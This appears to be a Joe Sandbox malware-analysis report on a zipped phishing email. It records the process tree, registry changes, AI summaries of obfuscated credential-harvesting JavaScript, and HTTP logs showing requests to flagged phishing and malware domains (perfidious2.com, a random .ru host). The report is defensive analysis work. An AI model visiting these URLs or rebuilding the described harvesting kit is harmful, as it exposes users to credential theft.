Edit tour

Windows Analysis Report
Quarantined Messages-9.zip

Overview

General Information

Sample name:	Quarantined Messages-9.zip
Analysis ID:	1567184
MD5:	0d56737d5853c08612d071cf228daeec
SHA1:	5250380a1201a2f4503aa1837105b9fb6d98a49b
SHA256:	6ed9dcfca91874dde658350f58019f628b7384be3a89bc22a79f17185e280aeb
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

AI detected suspicious Javascript

Queries random domain names (often used to prevent blacklisting and sinkholes)

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Queries the volume information (name, serial number etc) of a device

Sigma detected: Office Autorun Keys Modification

Sigma detected: Outlook Security Settings Updated - Registry

Stores files to the Windows start menu directory

Stores large binary data to the registry

Classification

Process Tree

System is w10x64_ra

rundll32.exe (PID: 4612 cmdline: C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding MD5: EF3179D498793BF4234F708D3BE28633)

OUTLOOK.EXE (PID: 6692 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" /eml "C:\Users\user\AppData\Local\Temp\Temp1_Quarantined Messages-9.zip\fb7c7073-ccea-4c68-9c85-08dd13607254\9de9ed28-1029-1749-d04e-5d4f9a0c641f.eml" MD5: 91A5292942864110ED734005B7E005C0)

ai.exe (PID: 6892 cmdline: "C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "58E5FD18-D936-490C-AF87-5FBC9EC93ED3" "0CB40954-C5C9-406A-8BB6-935B9DD61AF0" "6692" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx" MD5: EC652BEDD90E089D9406AFED89A8A8BD)

chrome.exe (PID: 6088 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\J8VVYD4B\c.gaudenzi@almaviva.it_{RANDOM_NUMBER5}CQDM.html MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 4800 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2040 --field-trial-handle=1972,i,1189373971307296502,8235848661946464853,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 8180 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\J8VVYD4B\c.gaudenzi@almaviva.it_{RANDOM_NUMBER5}CQDM.html MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2724 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2168 --field-trial-handle=1940,i,384767199231337953,9581062395184261919,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Sigma Signatures

Sigma detected: Office Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 , EventID: 13, EventType: SetValue, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE, ProcessId: 6692, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Outlook\Addins\OneNote.OutlookAddin\1

Sigma detected: Outlook Security Settings Updated - Registry

Source: Registry Key set

Author: frack113: Data: Details: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\J8VVYD4B\, EventID: 13, EventType: SetValue, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE, ProcessId: 6692, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Outlook\Security\OutlookSecureTempFolder

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://r4.perfidious2.com/7Ns2j_S_gr7Bb9fugBSyePMT2hE/	Avira URL Cloud: Label: phishing
Source: https://yqhs4qoapmkfgt7y0vqdcc2orpbx2vrvxi73sjgje6aziuktsdghs.bfcgpixdwnw.ru/xrwocikneyshqcuobdiBWotvECMIOKRYUODSYRKAHNRUPOWNPE	Avira URL Cloud: Label: malware

Phishing

AI detected suspicious Javascript

Source: 0.15.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript: High-risk script showing multiple suspicious behaviors: 1) Makes requests to a suspicious Russian domain (.ru) with an unusually long, seemingly random hostname 2) Contains form data exfiltration logic 3) Implements redirects to OneDrive (potentially for phishing) 4) Uses Cloudflare Turnstile but appears to be using it maliciously 5) Contains obfuscated variable names and paths. The pattern suggests credential harvesting or phishing activity.
Source: 0.5.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript: High risk due to multiple suspicious behaviors: 1) Makes request to suspicious Russian domain (.ru) with an unusually long, seemingly random hostname, 2) Contains obfuscated/randomized variable names, 3) Uses form data exfiltration via POST request, 4) Implements multiple redirects including fallback behaviors, 5) Attempts to mask activity behind Cloudflare Turnstile. Only slightly mitigated by redirect to legitimate azure.com domain.
Source: 0.3.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript: High-risk script detected with multiple red flags: uses atob() for obfuscation, contains encoded malicious URL (perfidious2.com), uses document.write() for DOM manipulation, includes anti-debugging measures, and attempts to prevent inspection through keyboard event blocking. The code appears designed to evade detection while potentially executing malicious actions.
Source: 0.11.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript: High-risk script detected with multiple red flags: uses atob() for obfuscation, contains an encoded suspicious URL (perfidious2.com), uses document.write() for DOM manipulation, includes anti-debugging measures, and attempts to prevent inspection through keyboard event blocking. These patterns are commonly associated with malicious code execution and browser exploitation.
Source: 0.1.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript: This code contains multiple high-risk indicators: 1) Uses eval through obfuscated means (atob('ZXZhbA==') decodes to 'eval'), 2) Heavy obfuscation using Unicode characters ( and ) to encode malicious payload, 3) Uses Function constructor to dynamically execute code, 4) Complex encoding/decoding mechanisms to hide actual payload. This pattern is characteristic of malware designed to evade detection.

Source: file:///C:/Users/user/AppData/Local/Microsoft/Windows/INetCache/Content.Outlook/J8VVYD4B/c.gaudenzi@almaviva.it_%7BRANDOM_NUMBER5%7DCQDM.html#=c.gaudenzi@almaviva.it	HTTP Parser: No favicon
Source: file:///C:/Users/user/AppData/Local/Microsoft/Windows/INetCache/Content.Outlook/J8VVYD4B/c.gaudenzi@almaviva.it_%7BRANDOM_NUMBER5%7DCQDM.html#=c.gaudenzi@almaviva.it	HTTP Parser: No favicon
Source: file:///C:/Users/user/AppData/Local/Microsoft/Windows/INetCache/Content.Outlook/J8VVYD4B/c.gaudenzi@almaviva.it_%7BRANDOM_NUMBER5%7DCQDM.html#=c.gaudenzi@almaviva.it	HTTP Parser: No favicon
Source: file:///C:/Users/user/AppData/Local/Microsoft/Windows/INetCache/Content.Outlook/J8VVYD4B/c.gaudenzi@almaviva.it_%7BRANDOM_NUMBER5%7DCQDM.html#=c.gaudenzi@almaviva.it	HTTP Parser: No favicon

Source: unknown	HTTPS traffic detected: 40.126.53.11:443 -> 192.168.2.16:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.16:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.16:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.16:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.16:49730 version: TLS 1.2

Networking

Queries random domain names (often used to prevent blacklisting and sinkholes)

Source: unknown

DNS traffic detected: English language letter frequency does not match the domain names

Source: Joe Sandbox View	IP Address: 104.18.94.41 104.18.94.41
Source: Joe Sandbox View	IP Address: 13.107.137.11 13.107.137.11
Source: Joe Sandbox View	IP Address: 104.18.95.41 104.18.95.41

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.11
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.11
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.11
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.11
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.11
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.11
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.11
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.11
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.11
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.11
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.11
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.11
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.11
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.11
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.11
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109

Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=VnVOhCEcy84x5vD&MD=aXoMy7BK HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /7Ns2j_S_gr7Bb9fugBSyePMT2hE/ HTTP/1.1Host: r4.perfidious2.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://r4.perfidious2.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://r4.perfidious2.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?render=explicit HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://r4.perfidious2.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/a6e12e96a2d5/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://r4.perfidious2.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=VnVOhCEcy84x5vD&MD=aXoMy7BK HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /7Ns2j_S_gr7Bb9fugBSyePMT2hE/ HTTP/1.1Host: r4.perfidious2.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkFYb1hDeUY2WGdlS0R0djBBajdObkE9PSIsInZhbHVlIjoiRXdpaXo1cW9pMnVzdGdNZHB0cGN3Y1FtUGsvZjB2WUhOODZDSjUxclRUWVpDclVHdWJ6SXQxM1diRVpPL21CTFBxbUtYYlN0OHZ1M3VNbisyanFEY2RxdGRvUGx4LzZVcEZhazVaZDBQdWpxT2ROeklYTXNIQUh0SlE4VUJsNGMiLCJtYWMiOiJlYzg3MGYwMzQyZTJmYTQ1MmE4MzliNjk0M2YzM2Y3ODUzOGUzYmI3OTI5MmM5OWY0NmY3MTM1NWI1NmMxZGQ1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlRJM1BHbmhQS3A1S2VYOS80ZFM1R2c9PSIsInZhbHVlIjoiZHkzbGh1TWpEb0VPNldJV2hKTTAvamR1MGI1SXQ2aVdYTDk2UlJLMllGK0JzV01yQTlxZ0pZUlRYQUlwUjJWY1pqT05qKzZnZytRenR1ZlJ3aWNQUGR1V0xsUCtnamVEcnFTV2trQnpnZTVJYkhuc0JyVFhDdklYaW0yemNvQkQiLCJtYWMiOiIxZDg1ZTYwZmRkODVmNzY0NTM2YTVlMzkzZTdlM2JhYzE4ODZhNTRkZGY2ZWYwMjgxOTI1OTBiN2FjODMyOTZmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/a6e12e96a2d5/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zhsb1/0x4AAAAAAAzn-jiwwut9VyvG/auto/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://r4.perfidious2.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8ec20e0108594229&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zhsb1/0x4AAAAAAAzn-jiwwut9VyvG/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zhsb1/0x4AAAAAAAzn-jiwwut9VyvG/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8ec20e0108594229&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/149601342:1733210094:SCmeHnEMNlfzF0fVlKbBI035_JOp7MYYRReRQkLVXy0/8ec20e0108594229/nwA.jf.7G3rkxvg7hVkixXU9Thr8CJZF03wCjdTjTzM-1733213158-1.1.1.1-KqemN0K4LQpTMLMKvGIouyQkBPxEAZNCA9WBebInxDdcVR_8mSrI9dE7sPs209dA HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/pat/8ec20e0108594229/1733213162687/5db9e4ec9dfa903e7e1818df942884ea62bde2d81ca4bfa8ba0817ca6ace682b/ZEsw3d4CNoL5Bqk HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zhsb1/0x4AAAAAAAzn-jiwwut9VyvG/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/8ec20e0108594229/1733213162689/-tr6mdixVB1rYgg HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zhsb1/0x4AAAAAAAzn-jiwwut9VyvG/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/8ec20e0108594229/1733213162689/-tr6mdixVB1rYgg HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/149601342:1733210094:SCmeHnEMNlfzF0fVlKbBI035_JOp7MYYRReRQkLVXy0/8ec20e0108594229/nwA.jf.7G3rkxvg7hVkixXU9Thr8CJZF03wCjdTjTzM-1733213158-1.1.1.1-KqemN0K4LQpTMLMKvGIouyQkBPxEAZNCA9WBebInxDdcVR_8mSrI9dE7sPs209dA HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/149601342:1733210094:SCmeHnEMNlfzF0fVlKbBI035_JOp7MYYRReRQkLVXy0/8ec20e0108594229/nwA.jf.7G3rkxvg7hVkixXU9Thr8CJZF03wCjdTjTzM-1733213158-1.1.1.1-KqemN0K4LQpTMLMKvGIouyQkBPxEAZNCA9WBebInxDdcVR_8mSrI9dE7sPs209dA HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
